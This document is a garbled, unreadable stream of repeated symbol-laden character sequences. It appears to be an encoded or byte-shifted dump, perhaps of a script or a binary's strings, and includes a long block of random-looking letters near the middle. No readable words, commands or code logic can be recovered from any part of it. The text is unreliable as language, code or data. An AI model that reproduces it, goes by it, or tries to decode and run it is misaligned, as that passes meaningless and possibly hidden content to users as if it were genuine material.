v|[ vppj Dipp^[D Dipp^[D [v^M^j[| [v^M^j[| ipp|ijppbj\ppji kgmEkr|vxj ipp|v|pp[iDij^j M^^MU|v|j ipp|v|pp[iDij^j ^v [v^M^j[| ppgjppi\pp^j pp|[ppi\pp\vv jD ipp|ijppbj\ppb|Dppji bj\ ipp\|D^ Dippij[D^g Qy\ |j i^j|Fpp[[v[ BB~wV `TlHHHtw~BB |j [ppDi|j\ ^vppi ^vpp[ D[^| jD ^D^ b^jDv^ppFDiji jDvj [D[jDv^ b^jDv^ppFDiji b^jDv^ppFDiji gjppvjDv^ |jDppgD^i D^pp|[[| [|ppb|D ijppj[|^iD^j ipp[v[pp\ \vpp[ pp[vjppgj ByippI jDvj i D^pp|[[| ^v |j [vI|ppb|Dpp D[^| BGpp b^jDv^ppFDiji Dipp|[[| D^pp|[[| ipp[iDij |^|[pp[vI|pp Bipp M^^MUi[ ipp\|D^ LppL
M@ppzM	 gjppgD^i bDppFDiji s|D^BD^iBgD^\ [gpp|j\ i|^ ippgD^pp[i ij[vi D[^| Dipp[||I D^ \ \j \j i DippbD D[vjD Dipp|[[| DippD^ DippbD |j\D^bv LCM@nppPqP@VM@ ij[vi |jD|jppgD^i s|D^BD^iBgD^\ b^jDv^ppFDiji LppL
M@ppzM	 DippD[ jppgD^i [[^jppi[pp|^ gjppi[i ppijpp[[^jppi[ [v |D^Dij[|jv[ ^I[ ij[vi [||j\ ij[vi zM	P 	AppVPL		 DippD^ DippD[ [D[ |[[|ppi DippD[ Dipp|[[| LCM@nppPqP@VM@ \ [i|^ M^^MUipp|ijppj|^ ipp|ijppj|^ jD ipp b^jDv^ppFDiji pp DippbD jD \ sv^j^j BgD^i B~B~\ I|i^| D[^| ij[vi V ppzLppNPM@ B^yB~wV ppzLppNPM@Tl|sksJXsOppTKHtw~B~yB~wV ppzLppP@zTxw~B^yBi b^jDv^ppFDiji ippgD^pp[i Dipp|[[| ipp|ijpp[i|^ [DvD Dg[|j i[ppD^|D gjppj[|^iD^j ippDgppb|D DippD^ DippD[ Dipp[Dj|I pp^vjpp[Dj|I b^jDv^ppFDiji DippbD E bDppgjppv^j^ji bDppgjppv^j^ji bDppFDiji bDppgjppv^j^ji Dippij[D^g |jppvjDv^ b^jDv^ppFDiji jppj[|^iD^j gjppvjDv^ b^jDv^ppFDiji ippD^DjD|Dk ^v b^jDv^ppFDiji |ppvjDv^ ipp|ijppbj\ppb|Dppji ^v i\jv^ M^^MUGOppOiXWDGcGgv D^Dj jppvjDv^ pp[vjppgj |[ Dipp|D^ |jD|jppgD^i |jDv^ |jD|j |jD|jsij j[D \ Dipp|[[| j[D ppi|bpp[D[j |D^pp[ gD^i\ i|^pp|j [vD^i gD^i [vD^i I\ V ppzN ||^s|\\ V ppz` [vD^i bDppgjppv^j^ji B~w ppNPM@T BB~w ppNPM@Tl|sksJXsOppTKHtw~B~yB~w ppP@zTxw~BBi iji gD^i iji IppbpprmrbxgXv I|i^| \ Qij_j[|j|sgD^h hKdj[|j|sgD^h hKfDi|T^v^]Dv[j|^jQBij_ Qi[Dj_v^j|P^j
Dij^[lhzp v^j^j
v|hdb^jDv^ltfv^jG[Vjv[lhj[|j|sgD^Khtbv[P|\lb^jDv^l[tf|[w[gjjj[DIjlh|j|sgD^ht}Dblh hh ht[[vltt}|[wv^jG[Vjv[lhiIiIiIwijiwv^jht}Dbltf|[w^|[iM^jljFj v^j^j[|lBZXsOKBgdhhttX}Dbl^_XtjFj v^j^jhlhHp|j\|FlXd^sxtHhtht}QBi[Dj_ b^jDv^ppFDiji |DxirveGvFpp b|ji[jvj[mxG\O I|i^| gjppgD^pp|j| @| M^^MU@| sgD^is|jD sgD^isD^|jD bDi Dipp|[[| bDi ij[vi ssgD^i sgD^isiji B~wV `T BLgD^w@|Ti~lZ[^~KHtBD I|i^| s[vD^i Dipp|[[| s[vD^i bDi NVLC sv^j^j B~w ppNPM@T ij[vi |jj[^ [gppGvj Y \D^ YB [vvji Dipp|[[| DippD^j |jj[DIji |jj[DIji LCLpppa	pp`P	VM@ nD^[ v^^jv[ BsbDs|^|g[BDIB\BnD^[ v^^jv[|ii\ BbDs|^|g[BDIB\BnD^[ v^^jv[|ii\ BbDs|^|g[s||^BDIB\BnD^[ v^^jv[|ii\ DippbD |ii\ \ |iiwnD^[ v^^jv[ [gpp[| BZi~Qyl\tyB |iiwppV ppnD^[ v^^jv[pp	| Qy\w ppipp\D ppipp\DppD[ Qy\w|iiwnD^[ v^^jv[wFj^iwppV ppnD^[ v^^jv[pp	|wf [vjjwb^jDv^wvjjlw|[[|w|j|wtwf \DwwDiijlw
N
Vhppipp\DhKwtwyw
N
Vhppipp\DhKwTwhh} Dbwlw\Dw]whhwUUwb^jDv^ppFDijilwhippbppbDj[hwtwtwf M^^MU|j|wwippbppbDj[lw|j|dw\Dwt} |[^jTTvjjlw|j|wt} pp b vXG[|exFijr Dipp|[[| bDi | \|^g j[ Dipp|[[| ^| ppipp\DppD[ ij[^ Dippij[D^g i[ DippbD iIij[ E b^jDv^ppFDiji ipp[v[pp\ i[ ipp[v[ppj\[vjj [v[ iv[ppj j[D ipp[v[pp\ ppi^pp^ppi[pp^vjDbD|jDv^ppjvpp|D^ pppp[j[^ppb|i pp^ppi[pp^vjDbD|jDv^pp|Dpp|D^ [vpp|jDv^ [gDij[pp^ppi[ ppi^pp^ppi[pp^vjDbD|jDv^i Djppi[pp[|jppi[ ppvgD^ pp^vjDbpp|D^pp^ppvgD^ I ||IDDjDi P
P wMzdwi[ppvgD^dwi[pp|iidwi[pp|Dwn	pw wwM@@P	waM@w ww@wMzwwi[ppDwCP	Pwj|ppwwiw@zwj|pp|w
MuPwi |D^Dij[|jv[ jv ppg^[|jpp|j\ppvvD LppViiDv^ppv^i Dipp|[[| jD i[pp|j\ |j\ VP 	PppCpp uMP M^^MUCpp uMP 
PzppM@pp uMP  uMPppzpM@  uMPLC zpM@pp uMPppLC Bs|D^ 	P n
VP pp|D Dii b^jDv^ppFDiji gjppvjDv^ i[ppj| iiiDv^ppjv^i v^j FD[|jDv^ v^j gjppD^ij|^ vggppD^ 	P ppg^[|jpp|j\ppvvD vvDi pp|D Dipp|[[| I I DippvIj \|ipp| |D^Dij[|jv[ D ji jD ^v D^j[j Dipp|[[| Dipp|[[| vgD^ppb BZ [gppGvj |sbXsOKfmdxXB iIij[ [ \j ^e^e[vrWXEcDGv jD b^jDv^ppFDiji |jppvjDv^ jD Dippij[D^g D[^| M^^MUi[ bDppjppv^j^ji Dv |jvDpp^vppD[w I|i^| |jvDppI|pp\w DippbD |jvDpp^vppj^|w ij[^ ipp I b[Dj iIij[ b^jDv^ppFDiji bi^ bDppjppv^j^ji |jvDppjppb|Dw |jvDppi\v[jpp[Djw iv bDppgjppv^j^ji Dippij[D^g Dippij[D^g Dippij[D^g Dv |jvDpp[^|ppb|Dw bDppgjppv^j^ji E b^jDv^ppFDiji \|i\ppbD Dippij[D^g Dippij[D^g iIij[ |jvDpp[Dbppb|Dw Dippij[D^g \|i\ppbD |jvDppj\D[pp|[jw I|i^| bDppjppv^j^ji DippbD Dippij[D^g Or|\bbEW^ppvii b^jDv^ppFDiji ippI jD jpp[|^ jDvj ii[Db [D[jDv^ \|[i  |\s v^j[v M^^MU^vs|\ b^jDv^ppFDiji b^jDv^ppFDiji jDvj Dipppp[[v[ B^yQMbpvwvpp\XsOK~_i~\pp|w|jvpp[^ppbDZ^K~ Z^K~^QBMbpv_^yBD B^yQMbpvwDji_i~\pp|w|jvpp[^ppbDZ^K~ B^y\pp|w|jvpp[^ppbDZ^K~ Z^K~^yBD b^jDv^ppFDiji v|\ppgjppij|ji v|\pp^|I [Djppb|Dw I I|i^| bv b[Dj b^jDv^ppFDiji ijppj[|^iD^j ipp|D^ppjD ipp|D^ppD^bDg\j ipp|D^ppD^bDg\j gjppvjDv^ b^jDv^ppFDiji i[^|ppFDiji |D^ppjD gjppvjDv^ b^jDv^ppFDiji i[^|ppFDiji Dipp|[[| F|v b^jDv^ppFDiji ppijpp|iiv[ ^v |[[|pp[|^ |D^ vDiDv^ b^jDv^ppFDiji ppD^i[jppi[ bDppFDiji sD^iBi[\ i[ppvgD^ i[pp|ii i[pp|D [v |D^Dij[|jv[ Di|pp^| ^vppI pp\|i\pp|iiv[ M^^MU[[^jppjD iG AsswCTDTi i[ppvgD^ i[pp^D^| i[pp[gDij[ i[ppij|ji i  iGppD^i[jppb|D i[ppD j|pp j|pp| j|pp i[pp i i |^ppi[pp|\ |D^ [Dbppb|D b^jDv^ppFDiji gjppi[ppI vgD^ i[pp|^ |pp[Dbppb|D ppjppi[ NVLC s|D^BD^iBi[\ ^v G[pp\[ ij[vi w@zwi[ppvgD^w]w{ \DppG gjppvjDv^ I | BllHttB [gpp[| BlHtB \Dpp^j I vgD^pppp^vjppD^ vgD^pppp^vjppD^ \Dpp[ij Dippij[D^g D[^| D[^| |[[|pp[g Dipp|[[| DippbD M^^MULCM@nppPqP@VM@ \ gjppvjDv^ iji\j j|j Lpp @P@ppzM	 Bj\i sv^j^jBj\i |[[|pp^DG ij[vi  B|jj[^i DippD[ Dipp|[[| ij[^ Dippij[D^g D^jppx D^j B D[^| B\v B|[B B|[BB\viji B|[BB\j Bi[B Bi[Bi[i Bi[Bv|B D^Dppgj D^Dppgj v^ppI|iD[ ij[vi j[D |[[|pp^DG D[vjD Bsv^j^jBsgD^i Bsv^j^jBgD^i DippD[ D^ij| ippi[|ppD^j[| i[| ippi[|pp^[ ^vpp[vvji Bsv^j^jBgD^iB ippi[|ppD^j[| Bsv^bDg\ Bsv^bDg\ BbD^i~li~{hKzNpp@pP{hKi~di~{hKlZ{hKHt{hKB Bj|Ipp[bDFi~i~{hKlZ{hKHt{hKB BZ|sksJXsOppKHB I M^^MUG[ [gpp|j\ BZ|sksJXsOppsKHB |jD|j Ipp^|pp[j oo vjDv^io V	w	@V M@ P
P wvjDv^pp|wn	pw wCP	PwvjDv^pp^|ww {|jDppgD^i{ w
MpMwxwn	wLzP 	

N u 	

N u  ppM LzPw wVPwvjDv^pp|wwiwCP	PwvjDv^pp^|ww |jD|j |jppb|D 	

N u DippvIj I DippvIj b^jDv^ppFDiji gkD^b|j `\[OnbWHX
N`DN@W^C\|XbN`^|j
jFa[A^CxVjnJND`nigNvJCxcciN^FJjcp kbbnkXLXr@@j`g[p`kb\Ga`miB\N[rF IBV\@q[
Fv ixJEHn@P^i\n`M\Pg	a[LV@EqxFmEBLkBFaikG|uzjcGNGpFeFe@X		m^OAEmBae`VpMPJBWI@iIeIeX	\VIjDzpEBBkFXxO[^Bz|Lvqmxvn|e c^^agpGNqPLuXOgezbG[ekjD
r`HP`PHu`e`EMEqC@PaFgEBHJIDmeeNacaeIFFcM|nAVM|	\vFCk| rOcJ^k
r|AExixxGuHex\\N|bL\ezxcpBAbcEX^B c^Ck \MmiL |jXEBJ[\FWX\An
kceAW	kLrOkzkui^V[rc@WVgqCm
`B M|FiDeAMbGEzp
WjWN
JEMGIANcCOHPI@HzzjLJIgMDvXWx|uGN^eGM\ezJMkaeMkDrjV brxvD	Amxx H L H`OxMHeNLz qH[M`VOgEi[INHC
HMgMDrMLXmFHEb[gGpFA	aiNppGN`gVHV|Lx@Jz
LzGb zBq^^jxD[@uIqLrW[XBGvE
rgiOixj	aGJiL[NPXHVO DLNFmuA`PM\r[mxb c^G`	ApEm^
iuJD^MeMkP`Ov @Hk\j@iJcnBc[XepJV\ijFW	vOPuB@BX^ VAbuzcinmbqxiHANM\W^bBgeAxxVBpI[DJcb`IL^ux I|E@@NF@jIJP|qb[\gggeGIAuLIFAaDzCI^ xnFpgLCcaIOqrcMCBDp	iO

xjBOq`a@Cenpb	XFArBWaWrMcrr`HXpr
`gNzAne EqcHHBAcBa OakEAHHzPNkCV|gE[jCXB	rc`WAaPuXEPenc\[NJHCjg\qCruci`b\[b|rxNr`BrbXOLe^qA LC[aAcFIza@F@FeFj	D vaMXvraHauazPLFkgmB|\XPEg[xMOaaiEP
ircgiVJjqJeGnPkBb	k|pA
g	nEFeuvjVaeC`\aCBmG re@q`v\mO	An`[zbepxi
vWDqAiiEFXEzLD^bjHuqb\CxBW`
J\O`A
IGii|OxJABi|LukuLOiBaN	XBgeXcpuiOe
g
iLXCrHW\rJm[MWF[AP^[`	cpF |VbgnLc`xN[eJ	Au|WErXuJJjPgHOAb[Pvb
i\Jn[pMxbM|FIAMzNO|[MeDk|LvIWM ^IBcBkMIApuI@CugvrAF\q\biezug|DDCvAM|xu\PkiGu L|bex`^	VXVV|CpxC\WmLmqzmrznm	JBVAPGrnz
|B[	r[Ccqqquii`[L|bLFcFHn
P Opjarn|JpVvGP
[czc[VrFpEE|prVCMrB|CF^EiMqbkb``pNxC\mGiqI
IgIpmnkcqPnHL\inIJ`n@u`E`|Lm\mGbnLip[zgWWJeM|\ak^bm^DLAiIjzqnMJcP`e XqjFAnbrD IBaMGMg\umF
uzXGck
mHvbzmjLeAEm@IJGrH\cWI ccp@	PL E@jvr|inkFFNmJz He[x|D	jxNgaNMJLHB vFCvL\Ne H``J@XurI`aegv
z@|^PVXbCB@nEpjPcnEH[@XVWVB\`J`a^eEAFixgH\Pp|qW\W\gaxCPOqB`xWNJ
DJxaWmbPOEiiMM[@jEFNXkC
|FM|WCCbWbAmEuFHO\iAEzAGGOnkLxPiLvgaGMv`	\xOFrC J\H`VjePuxCkcjJq`L[F`[| 
@FzWc\@xIcNO^p[@B
FkBkjgLz xVHBaN\NiqABWN^vH|uj`OBVqe|	BNCjFAPDu`AbgVEe`bqbFbbXn 
Xi`HunPLOAHF\jIrqMWaucpCGk`vmvrpm JN|XENVXW	DJ@NV|ECnOI	 HW@AV^WEnLHbupnVMp\gE
aXa[CIrzkNmgJpEGWncM Ma\GL
LMipeqnvpAbcIILm
G
^uxVXG@z@E	|cxpOA`LVcMGCBLer\gHVOg j
ALcq@cFLuOrnqNzGkFIBmO\@JJ^`|ic^gGB[^MnGIMxMz|pr cVnL|\c@mbvuOL@pjxOqMcVLX^z
xnjOb	|PNBVcMg^bbnk`pX@avC[NMIHFcG\^qpAvcOme\Vx\Ib	HX^bp\zAxPmCr^PxXFi`Luc @mqxep GXNuBN@EHJpPMNHWH|i\PqADGVmHMJNB\vI
zJVaXb^JmiajNpXVg|rBu
\X[[vHgum@c@H^gJrW[g`FW@vG
\L Dippij[D^g kD kD D^ij v^j^jpp[ Bsv^j^j \jjTBB \jjiTBB ij[vi j[D y By D^ij [gpp[| YZ\jjiyTBBY Dippij[D^g ippi ij[^ ij[^ ^v |[ipp[ iIij[ v^j[|ji [i M^^MU|D^N|i kD[ ig D^ij|[[ [Dju  |g v i[pp Dippij[D^g ij[^ iv^pp^v |[wppppV ppNaV@|[il|jvIlh iv^pp^v htt} |[wppppV ppP@ h h} ippv^bDg ippv^bDgppiDg E i By i ij[vi j[D ipp[ ^v ipp|\ DippD[ D^ijppj i D^ijppjppDiiD^g ippD^ij gjppj[|^iD^j Dipp|[[| Dipp|[[| ij[^ ij[^ NVLC ij[pp[|j ippi ippi ij[^ Dippij[D^g |gpp|\ B||^s|\\ kgmEkr|vxj bDppFDiji ippij \ppi|Dpp^| D^Dppgj M^^MUl^v^t D^ij \ B ippD^Dpp| B DippbD bDppgjppv^j^ji [gpp[| B^y|jvpp[^ppbDi~i~h{KyZh{[^K~ [gppGvj Zh{[^K~h{Ky[y^yBD ipp Lpp @P@ppzM	 D^D ^DppjppDiiD^g E B bDppgjppv^j^ji Dippij[D^g B|jvpp[^ppbDi~i~lh{KytlZh{[^KHtxBD ^v^ j[fD^ppv^w |[ppFv[j }|j\l\[v|Iwtf|j\lPFjDv^wtfw ppiD[^|lppppnM
PppppthB DblDippbDlppittfppibDppgjppv^j^jilppit}DblDippij[D^glppittf Dblij[^lppit_xXeErmtppi[gpp[|l{Bl^B~XsO|sbKfxXXXd~BtHB{d{{dppit} DblDippij[D^glppitUUElppit{ {tfj[fD^ppv^wppi}|j\l\[v|Iwtf|j\lPFjDv^wtf^ijlppit}^ijlppit} bDppgjppv^j^ji E D^Dpp[| bDppgjppv^j^ji DippbD ippD^Dppb|D ippD^Dpp| D^D D[Djppv^ bDjD bDppFDiji Dippij[D^g [|ppb|D ij[vi [j[D |jvpp[^ppbDwwh ippD^Dpp^D^g ippD^Dppb|D ^v ippD^Dpp| M^^MU[vIppEXX ippD^Dppb|D D^D V ppCppL	PL ippD^Dpp^D^g b^jDv^ppFDiji D^Dppgj D^Dppgj i[ppD^D|\ppjj ^v ippD^Dppb|D ippD^Dpp^D^g ^v [vIpp| B\j|ii jDv^iwsM^Fi QnDip|j\whlkDvgiGth_ QMbpvwvpp|j\kppv[_ 	GD[w|w^D QBMbpv_ QMbpvw]vpp|j\kppv[_ z^wb[vw| QBnDip|j\_ bDppFDiji bDppgjppv^j^ji \j \ \jppj ipp|ijppbj\ppji \j \jppjppDiiD^g \j|ii B\j|ii D^Dppgj i[ppD^DbD^| DippbD Dippij[D^g B|jvpp[^ppbDi~lyTiti~lh{KytlZh{[^KHtxBD [gpp[| BZQy\B Qy\wj[fD^ppv^w }|j\l\[v|Iwtf|j\lPFjDv^wtf [ppb|D \j|ii B\j|ii ipp\jpp| jD Dippij[D^g \jppv|[ bDppgjppv^j^ji M^^MUipp\jppb|D ^v D[Djppv^ \pp|w|jvpp[^ppbD bDppFDiji bv b^jDv^ppFDiji bv DippbD bv wh wh wh b^jDv^ppFDiji v^j ^v ipp\jpp| ipp\jpp| NVLC b^jDv^ppFDiji vj |jppvjDv^ zNppCV zNppVP	 zNppLVV	z |iippFDiji iGD zNppVP	 zNppLVV	z zNpp@pP iGDTw vj v BsvIjs|\s |j bDiDk bDppgjppv^j^ji v^j V zx ^| gkv ij[^ ij[^ E Dippij[D^g BZQy\i~B vpp B~wV pp ppNPM@T w~B B~wV pp ppP@zT M^^MUQy\wB~wsvIjs|\s w~BwB~wV  `T |^|[pp|[ppb|D V pp ppNPM@ ij[vi svIjs|\s BV  `TlHHHtB _ B^yB~wV pp ppNPM@Tl|sksJXsOppK~T tw~B~yB~wV pp ppP@zTxw~B^yBi [ppb|D v [D^ipp| |^|[pp|[ppb|D B~wsvIjs|\s NVLC bDppgjppv^j^ji BZV zxTlHHHtTB ippvpp|jppv ippvpp|jppv |jppv[[j Dippij[D^g V zxT E bjv sv^bDg\ bjv i\vppv^ bjv \|i\ \|i\ i\|WEm E V VCpxT ij[^ i\vppiDk i\vpp[| Dippij[D^g ij[vi i\vppvi i\vpp[Dj ij[pp| i\v i\vppj i\vppv^ ij[pp| Dippij[D^g BQy\BD iIij[ BZi~l|[i~l~yti~}^|i|iHZ}fKHi~}tBDi M^^MUiIij[ iIij[ Qy\w b^jDv^ppFDiji ipp[D^ipp ij[vi gjppvjDv^ b^jDv^ppFDiji |jppvjDv^ Dippij[D^g Fv [vD^ jgppvbpp|[w I|i^| \ kD bjv D^j| V ppz`
pp | |ppjppDiiD^g bDppgjppv^j^ji Dippij[D^g | |pp B~wV ppz`ppNPM@T B~wV ppz`ppP@zT w~B [gpp[| BB~wV ppz`ppNPM@Tl|sksJXsOppK~T tw~B~yB~wV ppz`ppP@zTxw~BBi V ppz`pp
zPz ij[vi ij[vi [gpp[| BwjK~Dbi~li~bD^i~li~h{KV ppz`pp
zPzh{Ki~ti~ti~[j[^i~}Z[^K~B | [gpp[| | | | |^|[pp|[ppb|D 	PPVpppPCz ippg|[ Dipp[Dj|I sD^i gpp Bgpp BgFpp bDjD M^^MUjD jD Bgpp sD^iB jD Bgpp bDppgjppv^j^ji [gpp|j\ BZHHHB Bgipp jD g|[ [|ppiij jD ^vppij|ji \ Dipp[Dj|I LpppL
M@ppzM	 BgD^i Lpp @P@ppzM	 g|[ I|impp^v I|impp^v I|impp^v I|impp^v I|impp^v I|i^| ipp|ijppbj\ppji g|[ g|[ppjppDiiD^g g|[ppjppD^|D Bgpp E Bgpp g|[ iIij[ppv^j ij[^ ij[^ Dippij[D^g ij[^ Dippb[ppi| ipp|ppvbbppji jD jD ij[^ iIij[ y_ [|^vppIji ID^W\F ij[^ M^^MU~B Dippij[D^g Bl[y^B~XsO|sbKfxXXXd~BtHB Dippij[D^g b^jDv^ppFDiji gjppvjDv^ Dippij[D^g DippbD ippv^pp ippv^pp ippv^pp|^Dbij Dipp|[[| bDppgjppv^j^ji E ippv^pp|^Dbij ippv^pp b^jDv^ppFDiji ippv^pp|^Dbij E vDbD bDppgjppv^j^ji [gpp|j\ g| ij[^ iIij[ Bv^pp v^ \ b^jDv^ppFDiji ippv^pp[ Dipp|[[| iIij[ [G [G ij|[jD^g v ij|j Ivvjppji Ivvjppji g^ ij|[jppji 	PPVppMpP ippv^pp[ ^v Dipp|[[| |j\ Dippij[D^g |j\ DippbD bDiDk M^^MUIvvjppji v ^^v^ b|D | ^^v^ bDiDk bDppgjppv^j^ji Dippij[D^g BlB~XsO|sbKfxXXXd~Bti~B bDppgjppv^j^ji \ BGpp DippbD bDjD E |jppvjDv^ ippb[[pp |[[|ppiD g g v g Dippij[D^g [gpp|j\pp| BI|imppvli~{lsJ|skXsOHBKfxXXXdt{i~tB [gpp|j\pp| BlyTgkvgkD^b|jgk^v[iitli~hllyTZhK~lyTZhK~t~tthBi F BFlXsO|sbsnKfWtB \jkGgEbxXppkeO BlyTgkvgkD^b|jgk^v[iitli~{llyTZ{K~lyTZ{K~t~tt{Bi ij[pp[|  { Dippij[D^g gk ij[vi ij[vi [gpp|j\pp| ij[vi Dippij[D^g Dippij[D^g BB~wV `TlHHHtw~BB iIij[ Dippij[D^g B~w BZ|sksJXsOppTKHB iIij[ B~w M^^MUppP@zT ij[^ j\pp BB~wV ppCppNPM@T|sksJXsOppK~T w~BB Dippij[D^g V ppC kxmrEj^F|\WEk V ppzz DGGXGmmiOke Dippij[D^g BBBV ppCpp
zpp|sbXsOppKH[y^Z^K~B gGmirDiEcxcDe V ppzz Dippij[D^g j\pp BB~wV ppCppNPM@Tl|sksJXsOppTKHtw~BB  BB~wV ppzzppNPM@Tl|sksJXsOppTKHtw~BB ipp ipp|^|[ Dipp|[[| ipp \|i\ppG|i ss_ b^jDv^ppFDiji ID^ jD b^jDv^ppFDiji Dji j[Di jD j[Di Dji |^|[ I|pp[Djppb|D Bj\Ipp I| I|pp[Djppb|D jD j[Di v^j Dji ipp|^|[ ^v|ppvI^x pp[vjppgj [D[jDv^ ^vsijv[dw^vs|\ L[|g| b^jDv^ppFDiji M^^MUDipppp[[v[ pp[vjpp[j[Dpp[iv^ippv b^jDv^ppFDiji pp[vjpp[j[DppIv bDppgjppv^j^ji DippbD gjppvjDv^ Dji ji b|ijgDppbD^Di\pp[Gij DjippbD^Di\pp[Gij DjippbD^Di\pp[Gij Dg^v[ppi[pp|Iv[j Dg^v[ppi[pp|Iv[j pp[vjppgj svgD^\ jD ^[DbDppw yipp [|[^v Upp[ b^jDv^ppFDiji [vI|ppEXXw Dji ij[vi Q]ssV uT ss_ ij[vi ipp [vI|ppvgD^EXXw Dji ID^ jD IppID^ Dji Dippij[D^g ij[vi ippIppv v ^v Dippij[D^g ij[vi ppippb| V ppCppNPM@ ipp V VCpxT V `T BV pplyTzNz` tppNPM@TlHHHtB i ^j[|Dkppbv[Dg^ppiDw M^^MUbDppjppv^j^ji bDppgjppv^j^ji ij[^ [gpp[| BwjK~B~wV pplzNz` tppNPM@Tl|sksJXsOppTKHtw~B~yB~wV ppxppP@zTWw~BwjK~[y^yBi Dippij[D^g bDjD i v|\ppD^|D|j Dippij[D^g BDippbDli~{lZ{KHt{i~tB Dippij[D^g NVLC D[^| Ippbv[Dg^ppiDw i[[pp vV[us NVLC Bsv^bDg\ DippbD DippbD Dipp[Dj|I [||j\ Dipp[Dj|I bDiDk bDppgjppv^j^ji Dippij[D^g Lpp v[ppM^jg[Dj BjB\ ij[vi LppPpLppzM	 ippjppbDF iippgjppjppD[ iippgjppjppD[ Bj DippD[ Dipp[Dj|I BbD^i~li~{hKLpp  CP{hKB bDppgjppv^j^ji V ppz`ppNPM@T ij[vi BbD^i~li~{hKNVLC{hKZ^K~^bD^lw{Lpp  CP{dwj[wt}^B BbD^i~li~{hKLppzPN{hKi~di~j[i~tBD BbD^i~li~{hKLppzPNpp
{hKi~di~j[i~tBD [gpp|j\ BbD^i~li~{hKLppzPNppzMVL
A{hKi~di~b|ii~tBD BwjK~B~wLpp v[ppM^jg[Djwl|sbXsOKHtw~B~yB~wP^sLpp v[ppM^jg[Djwxw~BwjK~[y^yBi Dv BwjK~B~wLpp v[ppM^jg[Djwl|sbXsOKHtw~B~yB~wP^sLpp v[ppM^jg[Djwxw~BwjK~[y^yBi [gpp|j\pp| M^^MUBZwjK~Dbi~li~]yi~bDppFDijili~{BjB\sJ|skXsOKH{Z^K~^lwjK~Dbi~li~ppvUUZ^K~^tyB [gpp[| BbD^i~li~{hKNVLC{hKZ^K~^B BlbD^i~li~{hKNVLC{hKZ^K~^tB x Dippij[D^g [gpp|j\ [gpp[| BlbD^i~li~{hKNVLC{hKZ^K~^tB x [gpp[| BlbD^i~li~{hKNVLC{hKZ^K~^tbD^lw{Lpp  CP{dwj[wt}^B BZwjK~bD^i~li~{hKLppzPNlpp
ppzMVL
Aty{hKi~dZ^K~^BD [gpp|j\ [gpp[| x Dippij[D^g  BlbD^i~li~{hKNVLC{hKZ^K~^tbD^lw{Lpp  CP{dwj[wt}wB~wV pp w~B^B x i \v B{lBjB\sJ|skXsOKHt{B ij[vi jppvjDv^ BvjDv^pp^|i~i~{lZ{KHt{B |[[|pp^DG BZppiDjppj[|^iD^jppl\|j\btpp|sbXsOKHB Lpp @P@ppzM	 BsgD^i b^jDv^ppFDiji gvI DippD[ B~B~\ Bipp Bv[pp DippbD [||j\ [||j\ V `T [gpp|j\ BB~wV `TlHHHtw~BB bv[Dg^ppiDw I|i^| v|\ppD^|D|j I|i^| gvI gvI B~Bb^jDv^i\ DippbD M^^MUbDiDk ij[vi V ppCppNPM@ ij[vi V ppzzppNPM@ V ppCpp
zpp jppvjDv^ viIF[O\ vj \IDWgOc[kc^ppppF Ix[g[WxEI\GEjOkmx b^jDv^ppFDiji kppWkkmjk|[^WW ^v ippIvvjppj Ivvj g|ppj|v[ b^jDv^ppFDiji ji Dipp|[[| [gDij[ppi\jv^ppb^jDv^ D^T B\j|ii b^jDv^ppFDiji i[ppD^DbD^| Dippij[D^g [ [j[D D^T svIjs|\s ipp[iDijpp|^Dbij ij|j iDk jD [gpp|j\ B[lHtB iIij[ iIij[ iIij[ DippbD bDiDk DippbD b^jDv^ppFDiji \ BI\ Bb^jDv^i\ [ iIij[ X [ M^^MU[iDij IDgT bDppgjppv^j^ji \j \ \ B||^s|\\ V ppzN bDppgjppv^j^ji [gpp[| bDppgjppv^j^ji BV  `THHHB iIij[ ij[vi B^yB~wV pp ppNPM@Tl|sksJXsOppTKHtw~B~yB~wV pp ppP@zTxw~B^yBi B|\ Bv|iB~B~B gvI Bj\iB~B sD^iB gvI ~\ sD^i BgFpp D^| b^jDv^ppFDiji gvI gpp gipp gpp gpp gjpp gpp gpp gipp g[pp Bg[pp~\ \j|ii bDppgjppv^j^ji |jvpp[^ppbD B^yQMbpvwvpp\XsOK~_i~\pp|w|jvpp[^ppbDZ^K~ Z^K~^QBMbpv_^yBD B^y\pp|w|jvpp[^ppbDZ^K~ Z^K~^yBD Dippij[D^g sv^bDg\ DippbD D[^| Bsv^bDg\ V pp  M^^MU[gpp[| BwjK~bD^i~li~{hKLpp  CP{hKi~di~j[i~ti~}i~B~wV pp w~BwjK~[y^yB bDjD i[ppD^DbD^| i[D^D bDppgjppv^j^ji [gpp[| B|jvpp[^ppbDi~~ [gppGvj ~^BD |[[|ppDbb DippbD V ppC gGmirDiEcxcDe V ppzz bjv i\vppj b^jDv^ppFDiji gjppvjDv^ ipp|^|[ Dipp|[[| Dji Dipp|[[| Dji ippvpp|jppv ipp\jpp| kgmEkr|vxj ippg|[ b^jDv^ppFDiji pp|[ppi\pp\vv ejmrmOxeg[ ipp[v^ppg|[ D^|D|j \ ij[^ Ipp B~wV ppzNppNPM@T B~wV ppzNppP@zT Ipp BB~wV ppzNppNPM@Tl|sksJXsOppK~T tw~B~yB~wV ppzNppP@zTxw~BBi ij[vi V ppzNpp
zPz [gpp[| BwjK~Dbi~li~bD^i~li~h{KV ppzNpp
zPzh{Ki~ti~ti~[j[^i~}Z[^K~B V ppzN
pp E Ippj ipp|ijppbj\ppji IppjppDiiD^g M^^MUBZQy\i~B ij[^ |^|[pp|[ppb|D sv^j^j Bj\iB gjppvjDv^ Bj\pp j\ |^Di\pp[ijv[ ippj\pp| NVLC ippj\pp| B~wV ppCppNPM@T w~B B~wV ppCppP@zT V ppC
pp iIij[ \ j\ppjppDiiD^g [gpp[| bv j\ b^jDv^ppFDiji bv Bj\pp I| j\pp ^rccxkjXe [gpp[| BBBV ppCpp
zpp|sbXsOppKH[y^Z^K~B j\ [ppb|D ij[vi V ppCppNPM@ V ppCpp
